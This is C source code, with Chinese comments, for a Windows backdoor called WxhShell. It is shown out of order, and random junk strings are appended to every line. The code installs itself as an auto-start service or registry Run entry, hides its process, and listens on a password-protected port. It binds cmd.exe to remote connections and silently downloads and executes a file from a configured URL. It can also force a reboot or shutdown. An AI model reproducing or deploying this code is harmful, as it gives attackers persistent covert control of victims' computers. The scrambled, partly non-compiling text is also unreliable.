    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )f+U~4G&  
    else { UH@a s  
    closesocket(wsh); }14 {2=!Q  
    ExitThread(0); rA0,`}8\  
    } \&V0vN1  
    break; -]C c  
    } -3Avs9`5  
  // 获取shell , xx6$uZ  
  case 's': { E{=2\Wkcp  
    CmdShell(wsh); #5sD{:f`  
    closesocket(wsh); BE&B}LfvfO  
    ExitThread(0); 1ju#9i`.Wg  
    break; QYXx:nIrg  
  } 8pM>Co!  
  // 退出 3 <|`0pt}  
  case 'x': { +c:3o*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iK;dU2h  
    CloseIt(wsh); RVtQ20e";r  
    break; 0)YbI!  
    } ?&WYjTU]H  
  // 离开 t<uYM  
  case 'q': { %v5R#14[n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dGZntT 2D  
    closesocket(wsh); sKLX[l  
    WSACleanup(); 5_K5?N  
    exit(1); ZZ/cq:3$P  
    break; ~:;3uL s,8  
        } dN Y"]b  
  } \8uo{#cL8  
  } N5|Rmfo1  
RnVtZ#SCh  
  // 提示信息 VvByHcLv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^s7,_!.Pq  
} +5<k-0v  
  } &zL#hBE  
O(2cWQ  
  return; ,zcQS-e2  
} U IJx*  
l2v_?j-)x  
// shell模块句柄 qOCJTOg7  
int CmdShell(SOCKET sock) &0N<ofYX  
{ `znB7VQ0  
STARTUPINFO si; ~KjJ\b)R  
ZeroMemory(&si,sizeof(si)); !}TMiCK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'iSAAwT2aj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Y?t@dd  
PROCESS_INFORMATION ProcessInfo; x!S;SU  
char cmdline[]="cmd"; n[xkSF^)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BJjx|VA+  
  return 0; 4FeEGySow  
} /%x7+Rl\-^  
~yJ4qp-  
// 自身启动模式 H(+<)qH  
int StartFromService(void) qcB){p+UQ  
{ 3EFD%9n  
typedef struct 4Wel[]  
{ )yee2(S  
  DWORD ExitStatus; Z%o7f6P0IX  
  DWORD PebBaseAddress; `hh9"Ws%  
  DWORD AffinityMask; 4|J[Jdj  
  DWORD BasePriority; ?v]-^X=&  
  ULONG UniqueProcessId; E +_&HG}a  
  ULONG InheritedFromUniqueProcessId; N?r>%4  
}   PROCESS_BASIC_INFORMATION; Ry;$^.7%  
Id8wS!W`7  
PROCNTQSIP NtQueryInformationProcess; )-P!Ae_.v  
>G)qns9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >O{7/)gS^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @9 8;VWY\  
 I?Y d   
  HANDLE             hProcess; N$aZ== $5  
  PROCESS_BASIC_INFORMATION pbi; ~&G4)AM  
w*LbH]l<-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,cHU) j  
  if(NULL == hInst ) return 0; #Fd W/y5  
'8Wv.X0`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fxd{ Zk`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nnCug  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V 2znU  
9/TY\?U  
  if (!NtQueryInformationProcess) return 0; WO</Q6+  
4I~i)EKy6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 66:ALFwd7  
  if(!hProcess) return 0; [, f)9v)  
-f>'RI95>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (i`(>I.(/  
CmC0k-%w  
  CloseHandle(hProcess); ?X_V#8JK  
8[5|_Eh+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dx+ K+(  
if(hProcess==NULL) return 0; r'aY2n^O  
pG yRX_;  
HMODULE hMod; |HbEk[?^s  
char procName[255]; E&2tBrAq  
unsigned long cbNeeded; 2R@%Y/  
! Tfij(91  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }=@zj6AC  
R_e)mkE  
  CloseHandle(hProcess); W"sr$K2m|  
xb^ Mo.\[  
if(strstr(procName,"services")) return 1; // 以服务启动 LpWI>sNv  
R2^iSl%pj  
  return 0; // 注册表启动 !Yh}H<w0  
} ?SX_gYe9  
 (K #A  
// 主模块 h5onRa *7  
int StartWxhshell(LPSTR lpCmdLine) XVUf,N,  
{ nR'#s%Kj  
  SOCKET wsl; @>O&Cpt  
BOOL val=TRUE; c^S&F9/U*  
  int port=0; :C%47qv  
  struct sockaddr_in door; ,P@QxnQ   
<-)9>c:k  
  if(wscfg.ws_autoins) Install(); 9~Xg#{  
3?ba 1F0Nw  
port=atoi(lpCmdLine); X <xqT  
yiT{+;g^  
if(port<=0) port=wscfg.ws_port; && C~@WY,r  
1g i}H)  
  WSADATA data; WEC-<fN|Y\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <nA3Sd"QfV  
;D&wh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6y@<?08Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oNSz&)LP  
  door.sin_family = AF_INET; OK\]*r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =eYO;l y3  
  door.sin_port = htons(port); 4TJ!jDkox  
\UQ],+H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7ukDS]  
closesocket(wsl); \>[gl!B_Rr  
return 1; ZOHRUm  
} {G.{a d  
ro]L}oE+  
  if(listen(wsl,2) == INVALID_SOCKET) { j?J=w=.Nx  
closesocket(wsl); L&HzN{K  
return 1; p;ZDpR  
} /O"0L/hc^  
  Wxhshell(wsl); Vx(;|/:  
  WSACleanup(); UJs?9]x>  
nK:`e9ES  
return 0; Y D+QX@  
;S =e%:zb  
} KqY>4tb  
}'_:XKLj  
// 以NT服务方式启动 ZArf;&8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Oi#k:vq4  
{ Ko}7$2^  
DWORD   status = 0; 2c*2\93>  
  DWORD   specificError = 0xfffffff; oG9SO^v_  
Ot"(uW4$[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ceI [hM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CCwK8`%   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '|+=B u  
  serviceStatus.dwWin32ExitCode     = 0; kjfxjAS=m  
  serviceStatus.dwServiceSpecificExitCode = 0; m&{rBz0  
  serviceStatus.dwCheckPoint       = 0; E<P*QZ-C3  
  serviceStatus.dwWaitHint       = 0; ~M(pCSJ[  
_"`/^L`Q?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (N9`WuI  
  if (hServiceStatusHandle==0) return; JG1LS$p^  
8^NE=)cb7w  
status = GetLastError(); {S# 5g2  
  if (status!=NO_ERROR) _2xuzmz0  
{ nFSG<#x\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m./*LXU  
    serviceStatus.dwCheckPoint       = 0; <`b|L9  
    serviceStatus.dwWaitHint       = 0; %0go%_  
    serviceStatus.dwWin32ExitCode     = status; !vi4* @:  
    serviceStatus.dwServiceSpecificExitCode = specificError; <4SF~i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @)8NI[=6O  
    return; +2f> M4q  
  } 9 ?[4i'  
<:H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SlM>";C\  
  serviceStatus.dwCheckPoint       = 0; O{O 9}]6  
  serviceStatus.dwWaitHint       = 0; LjX&' ,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4_Tb)?L+:  
} vsxvHot=  
9,}fx+^  
// 处理NT服务事件,比如:启动、停止 oTZo[T@zRx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h/w]  
{ F\I5fNs@  
switch(fdwControl) 7UY('Q[  
{ * , |)~$=>  
case SERVICE_CONTROL_STOP: *(>F'>F1"  
  serviceStatus.dwWin32ExitCode = 0; YeR7*[l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vWZ>Hf]`L  
  serviceStatus.dwCheckPoint   = 0; &n,xGIG  
  serviceStatus.dwWaitHint     = 0; n C\(+K1%  
  { 1ZGQhjcx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ajg7xF{l)  
  } g#pIMA#/  
  return; B`t)rBy  
case SERVICE_CONTROL_PAUSE: f[w jur  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $L $j KNwf  
  break; -sruxF  
case SERVICE_CONTROL_CONTINUE: hPNQGVv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mr@<ZTw  
  break; xV }:M  
case SERVICE_CONTROL_INTERROGATE: H"kc^G+(R"  
  break; Zi15wE  
}; Rq~ >h99M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); loAfFK>g  
} 5+#?7J1  
0Te)s3X  
// 标准应用程序主函数 IDL^0:eg<.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?ZD{e|:u  
{ [v>Z(  
AOq9v~)z-  
// 获取操作系统版本 Hj-<{#,  
OsIsNt=GetOsVer(); wjw<@A9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `t/@ L:  
3<Pyr-z h  
  // 从命令行安装 h|Teh-@A5  
  if(strpbrk(lpCmdLine,"iI")) Install(); D|8sjp4  
'IqK M  
  // 下载执行文件 E: LQ!  
if(wscfg.ws_downexe) { 3z{5c   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v\r7.l:hf  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,AFC1t[0  
} ._F 6-pl  
C$]%1<-Iv]  
if(!OsIsNt) { vb80J<4  
// 如果时win9x,隐藏进程并且设置为注册表启动 : p*ojl|  
HideProc(); {O3oUE+  
StartWxhshell(lpCmdLine); 6#lC(ko'  
} 0wa!pE"  
else 6vp8LNSW  
  if(StartFromService()) WPh |~]by<  
  // 以服务方式启动 GhfUCW%  
  StartServiceCtrlDispatcher(DispatchTable); xs83S.fHg  
else osgS?=8  
  // 普通方式启动 0;m$a=  
  StartWxhshell(lpCmdLine); e*'|iuDrY  
")[Q4H;V  
return 0; KTAe~y  
} M& BM,~  
>stVsFdV)  
$'mB8 S  
2 vJ[vsrFv  
=========================================== 1\.zOq#  
{ ves@p>?  
O|7{%5h  
Lw+1|  
1p "EE~ v  
_XO)`D~  
" l!2Z`D_MD  
#SLxNAH  
#include <stdio.h> G*w W&R)  
#include <string.h> 1j) !d$8  
#include <windows.h> qer'V  
#include <winsock2.h> +]~w ?^h  
#include <winsvc.h> }+RF~~H/  
#include <urlmon.h> zt>_)&b  
'Tan6 Qa  
#pragma comment (lib, "Ws2_32.lib") SAo \H  
#pragma comment (lib, "urlmon.lib") LkZo/K~  
UE$[;Zg  
#define MAX_USER   100 // 最大客户端连接数 <W[8k-yOV`  
#define BUF_SOCK   200 // sock buffer i7!mMO8]  
#define KEY_BUFF   255 // 输入 buffer Y" +1,?yH  
sq (063l  
#define REBOOT     0   // 重启 { )GEgC  
#define SHUTDOWN   1   // 关机 eYX_V6c  
OFL+Q~~C  
#define DEF_PORT   5000 // 监听端口 3L%r_N*a  
t~W4o8<w  
#define REG_LEN     16   // 注册表键长度 @ un  
#define SVC_LEN     80   // NT服务名长度 HF=C8ZtlL  
#vZ]2Ud= 2  
// 从dll定义API W yJfF=<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =O:ek#Bp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iF_r'+j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ysT!^-&p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JO6vzoS3  
3 !w>"h0(  
// wxhshell配置信息 1eyyu!  
struct WSCFG { 9n\#s~,  
  int ws_port;         // 监听端口 M=abJ4  
  char ws_passstr[REG_LEN]; // 口令 @DC2ci >  
  int ws_autoins;       // 安装标记, 1=yes 0=no JOne&{h]J"  
  char ws_regname[REG_LEN]; // 注册表键名 d*:qFq_  
  char ws_svcname[REG_LEN]; // 服务名 S^`9[$KH0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &EJ,k'7$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GZ[h`FJg/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 } fMFQA)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5%aKlx9^#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _ ,1kcDu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G`lhvpifG  
Q pc^qP^-  
}; ~zC fan/  
kQ'xs%Fw  
// default Wxhshell configuration AS"|r  
struct WSCFG wscfg={DEF_PORT, $"n)C  
    "xuhuanlingzhe", cYn}we}7  
    1, XlJux_LD:  
    "Wxhshell", E_uH' E  
    "Wxhshell", ^X'7>{7Io  
            "WxhShell Service", ~e~Mx=FT0  
    "Wrsky Windows CmdShell Service", =0fx6V  
    "Please Input Your Password: ", +~.Jw#HqS  
  1, gm$MEeC  
  "http://www.wrsky.com/wxhshell.exe", ]@T `q R  
  "Wxhshell.exe" l8lR5<  
    }; /j\TmcnU^  
N!&VBx^z  
// 消息定义模块 &: 8&;vk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z'm%3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TBfl9Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LbI])M  
char *msg_ws_ext="\n\rExit."; vrx3O  
char *msg_ws_end="\n\rQuit."; 1vudT&  
char *msg_ws_boot="\n\rReboot..."; iL' ]du<wk  
char *msg_ws_poff="\n\rShutdown..."; "jMnYEG  
char *msg_ws_down="\n\rSave to "; p5t#d)  
@CUDD{1o  
char *msg_ws_err="\n\rErr!"; r(CL=[  
char *msg_ws_ok="\n\rOK!"; %d\+(:uu/  
S|w] Q  
char ExeFile[MAX_PATH]; &}=,8Gt1G  
int nUser = 0; L KR,CPz  
HANDLE handles[MAX_USER]; FEswNB(]*  
int OsIsNt; ~,7R*71  
q2i~<;Z)9  
SERVICE_STATUS       serviceStatus; Md{f,,E'^@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5LH ]B  
swbD q  
// 函数声明 8}@a?QS(&  
int Install(void); J/2pS  
int Uninstall(void); e 3oIoj4o  
int DownloadFile(char *sURL, SOCKET wsh); a8$pc>2E  
int Boot(int flag); H@2+wr)$}  
void HideProc(void); V@f#/"u'  
int GetOsVer(void); &p/k VM  
int Wxhshell(SOCKET wsl); ^Tmmx_Xw  
void TalkWithClient(void *cs); U %l{>*q  
int CmdShell(SOCKET sock); v 0H#\p  
int StartFromService(void); b7mP~]V  
int StartWxhshell(LPSTR lpCmdLine); D~>P/b)v{j  
Vd~k4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,/9|j*9H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7X>3WF  
_;W|iUreb  
// 数据结构和表定义 nfB9M1Svn  
SERVICE_TABLE_ENTRY DispatchTable[] = aR $P}]H  
{ `#U6`[[  
{wscfg.ws_svcname, NTServiceMain}, :wm^04<i   
{NULL, NULL} eD0@n :  
}; \ 3N#%  
>sq9c/}X  
// 自我安装 d-aF-  
int Install(void) ,5:86'p  
{ _i#Z'4?2E  
  char svExeFile[MAX_PATH]; V>Cf 8>m  
  HKEY key; 2rM i~8 T  
  strcpy(svExeFile,ExeFile); &D#v0!e~x  
#S)*MT4ke  
// 如果是win9x系统,修改注册表设为自启动 Xqk$[ peS  
if(!OsIsNt) { wwz<c5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^y,ip=<5\3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sYzG_* )  
  RegCloseKey(key); oCS NA.z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hAdEq$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YX(%jcj*  
  RegCloseKey(key); zD'gGxM1  
  return 0; Oc>-jhx?  
    } g@L4G?hLn  
  } (@Bm2gH  
} jQhf)B  
else { {T9g\F*  
#*~Uu.T  
// 如果是NT以上系统,安装为系统服务 "M tQj}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U&NOf;h$  
if (schSCManager!=0) +Muyp]_  
{ ='FEC-f95  
  SC_HANDLE schService = CreateService @tA.^k0`  
  ( = N#WwNC  
  schSCManager, $W2AiE[Wm  
  wscfg.ws_svcname, !Zrvko  
  wscfg.ws_svcdisp, &zR}jD>  
  SERVICE_ALL_ACCESS, TJ<PT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #3S/TBy,  
  SERVICE_AUTO_START, y.Py>GJJ1S  
  SERVICE_ERROR_NORMAL, 2:abe  
  svExeFile, ,#A,+!4  
  NULL, d dPJx<  
  NULL, v7-'H/d.  
  NULL, km^AX:r1  
  NULL, I4hr5M3  
  NULL d7&PbITN  
  ); /H)g<YA  
  if (schService!=0) +38t82%YWo  
  { \=@}(<4  
  CloseServiceHandle(schService); o.Q9kk? L  
  CloseServiceHandle(schSCManager); X}ZOjX!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); buoz La  
  strcat(svExeFile,wscfg.ws_svcname); Q*wx6Pu8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zR4huo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ns3k{l#  
  RegCloseKey(key); H|^4e   
  return 0; yDKX,  
    } ^ey\ c1K  
  } Hq~ 2,#Ue  
  CloseServiceHandle(schSCManager); \8pbPo=x  
} #wo_  
} OhTO*C8  
29GiNy+ob  
return 1; <[q)2 5RL  
} P$Dr6;  
]u:NE'0Xy  
// 自我卸载 V$@2:@8mo  
int Uninstall(void) R[Rs2eS_  
{ bIH2cJ  
  HKEY key; sqy5rug  
}"T:z{n  
if(!OsIsNt) { A;g[G>J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H$;\TG@,  
  RegDeleteValue(key,wscfg.ws_regname); #8`G&S*  
  RegCloseKey(key); z/TRqD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ze~\=X" "  
  RegDeleteValue(key,wscfg.ws_regname); ^'h~#7s  
  RegCloseKey(key); /v8qT'$^  
  return 0; 2@H~nw 0  
  } 3drgB;:g`  
} HqbTJ!a  
} /#XO!%=7  
else { < ;g0?M\  
i{,>2KVC|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CkP!4^J qQ  
if (schSCManager!=0) N5s_o0K4TU  
{ Vf:t!'WD?2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &O'yhAP] j  
  if (schService!=0) # WxH  
  { 8FMP)N4+  
  if(DeleteService(schService)!=0) { [)a,rrhj  
  CloseServiceHandle(schService); J@$>d  
  CloseServiceHandle(schSCManager); 4jXyA/F9V  
  return 0; "ZH1W9A  
  } A^~\  
  CloseServiceHandle(schService); 4Qw!YI#40$  
  } \&cVcA g  
  CloseServiceHandle(schSCManager); H'Po  
} vEb~QX0~  
} S-1}3T%  
 $% jV%k  
return 1; ^c2 8Q.<w(  
} "XH]B  
IXH;QwR:  
// 从指定url下载文件 # ><.zZ  
int DownloadFile(char *sURL, SOCKET wsh) ,7'l$-rl  
{ s_]rje8`  
  HRESULT hr; RpreW7B_Q*  
char seps[]= "/"; z*R"917  
char *token; ^awl-CG  
char *file; l@^RbF['  
char myURL[MAX_PATH]; h\yYg'CC  
char myFILE[MAX_PATH]; yn7n  
;eWVc;H  
strcpy(myURL,sURL); "c}b qoN  
  token=strtok(myURL,seps); Y!SD^Ie7!  
  while(token!=NULL) tvg7mU]l  
  { aMzAA  
    file=token; KsHMAp3  
  token=strtok(NULL,seps); H kg0;)  
  } 2Aff3]-:Gd  
KLoHjBq  
GetCurrentDirectory(MAX_PATH,myFILE); 1sgoT f%  
strcat(myFILE, "\\"); o`& idn|,  
strcat(myFILE, file); 3GaM>w}>W  
  send(wsh,myFILE,strlen(myFILE),0); 6#.R'O  
send(wsh,"...",3,0); 7qs[t7-h?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D7=gUm >  
  if(hr==S_OK) :@pm gp  
return 0; v!W,h2:J  
else Z'u`)jR  
return 1; n9)/(=)>*  
/+3|tb  
} ysSEgC3  
{gJOc,U4b  
// 系统电源模块 $ccI(J`zux  
int Boot(int flag) -]N/P{=L  
{ h883pe=  
  HANDLE hToken; 4u"O/rt  
  TOKEN_PRIVILEGES tkp; Ar>-xCT D  
thkL<  
  if(OsIsNt) { N<?RN;M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %]NbTTL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~(Fy GB}  
    tkp.PrivilegeCount = 1; k8w8I$QEM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aLP 2p]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }mX;0qO  
if(flag==REBOOT) { iS02uVmBZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2&P'rmFm  
  return 0; {N>VK*  
} eoow]me  
else { Ff.gRx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GT* \gZ  
  return 0; ZJd1Lx   
}  8sE@?,  
  } i9+V<'h  
  else { Y]ZOvA5W  
if(flag==REBOOT) { qc@CV:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z%]~^k8  
  return 0; HHT K{X+  
} 0hCJovSG%  
else { \9<aCJxN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1P&c:n  
  return 0; t[7YMk  
} K+PzTGWq^  
} nB"q  
BpRQG]L  
return 1; u|B\@"0  
} `[7&tOvSk  
91`biVZfA  
// win9x进程隐藏模块 omY%sQ{)  
void HideProc(void) j2g#t  
{ m?bb/o'B  
+#n5w8T)M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %<:?{<~wH9  
  if ( hKernel != NULL ) JYs*1<  
  { ]#TL~u[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YtE V8w_$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U*1rA/"n  
    FreeLibrary(hKernel); <HI5xB_  
  } ,RDxu7iT  
j=M_>  
return; K4snp u hC  
} hekAics6S  
9kWyO:a_(  
// 获取操作系统版本 'l)@MX bGL  
int GetOsVer(void) rN8 ZQiJC  
{ p~$\@8@  
  OSVERSIONINFO winfo; 2-. g>'W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vUY?Eb[  
  GetVersionEx(&winfo); tbl!{Qwx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p;U[cGHC  
  return 1; `{<2{}2M  
  else 1DN,  
  return 0; 0 A/GWSmF  
} YNH>^cD1  
!634 8nU:  
// 客户端句柄模块 (;+ JM*c2N  
int Wxhshell(SOCKET wsl) >5i1M^g(  
{ w'#VN|;;!  
  SOCKET wsh; i=#r JK=  
  struct sockaddr_in client; 0+m"eGwTm  
  DWORD myID; 84cmPnaT  
w1h07_u;v  
  while(nUser<MAX_USER) !f V.#9AB#  
{ e}-uU7O  
  int nSize=sizeof(client); v$owG-_><  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rb qH9 S  
  if(wsh==INVALID_SOCKET) return 1; e(6g|h  
[`yiD>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5MO:hE5sm  
if(handles[nUser]==0) vWXj6}  
  closesocket(wsh); Bz }Kdyur  
else x\3tSP7Vp  
  nUser++; 0@.$(Aqo(  
  } \"<&8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bv)E>%Yy  
cs8bRXjHa  
  return 0;  7=6p  
} 3Yp_k  
=uYSZR  
// 关闭 socket ghx8dX}  
void CloseIt(SOCKET wsh) +[zrU`!@  
{ @|j`I1r.A  
closesocket(wsh); 9 %,_G.  
nUser--; Mw\/gm_3  
ExitThread(0); ;#G>qo  
} Qo0okir  
YL;ZZ2A  
// 客户端请求句柄 6<(HT#=#  
void TalkWithClient(void *cs) nsaf6y&E  
{ X6N^<Z$  
'_4u, \SG  
  SOCKET wsh=(SOCKET)cs; uY5f mM9  
  char pwd[SVC_LEN]; 2Qc&6-;`  
  char cmd[KEY_BUFF]; <(>v|5K0]  
char chr[1]; oB&s2~  
int i,j; b,#cc>76\  
\I/l6H>o3  
  while (nUser < MAX_USER) { ]zhFFq`  
L&Qdb xn  
if(wscfg.ws_passstr) { Njc3X@4=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * ,_Qdr^F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c_kxjzA#  
  //ZeroMemory(pwd,KEY_BUFF); |2 g }i\  
      i=0; dWg$yH  
  while(i<SVC_LEN) { z,P:i$  
Oa$ ew'  
  // 设置超时 B>o #eW  
  fd_set FdRead; ?F(t`0=  
  struct timeval TimeOut; $*G]6s  
  FD_ZERO(&FdRead); JLT':e~PX  
  FD_SET(wsh,&FdRead); w44{~[0d4  
  TimeOut.tv_sec=8; 7`~h'(k  
  TimeOut.tv_usec=0; s%H5Qa+Uh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t1n'Ecm(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VE wv22'  
*xkbKkm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gvtd )9^<  
  pwd=chr[0]; mu=u!by.E  
  if(chr[0]==0xd || chr[0]==0xa) { j8hb  
  pwd=0; XFG]%y=/6  
  break; S]K^wj[  
  } FOquQr1cF  
  i++; Mf%/t HK  
    } yJ/m21f  
(x&#>5  
  // 如果是非法用户,关闭 socket A}t.`FLP,j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <*8nv.PX*  
} 0 m";=:(w  
Nr:%oD_G*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v~L} :  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O<L /m[]  
6X7r=w  
while(1) { e4khReF;  
[0m'a\YE9  
  ZeroMemory(cmd,KEY_BUFF); '?_I-="Mr  
^ }U{O A  
      // 自动支持客户端 telnet标准   v;JY;Uh|  
  j=0; bsP:tFw>  
  while(j<KEY_BUFF) { X xB*lX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I"Ju3o?u  
  cmd[j]=chr[0]; ugVsp&i#  
  if(chr[0]==0xa || chr[0]==0xd) { bxrByu~|1  
  cmd[j]=0; ?mG ?N(t/h  
  break; u'yePJTE  
  } S8.nM}x  
  j++; kYPowM  
    } e%wbUr]c2  
oJ{)0;<~L  
  // 下载文件 v@Otp  
  if(strstr(cmd,"http://")) { |I)Ms NF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ln3x1^!  
  if(DownloadFile(cmd,wsh)) qe`W~a9x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ Z%>N  
  else `S;pn+5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .zBSjh_=H  
  } /bt@HFL|`  
  else { q^(A6W  
I/XVo2Ee  
    switch(cmd[0]) { `9zP{p  
  <%qbU-  
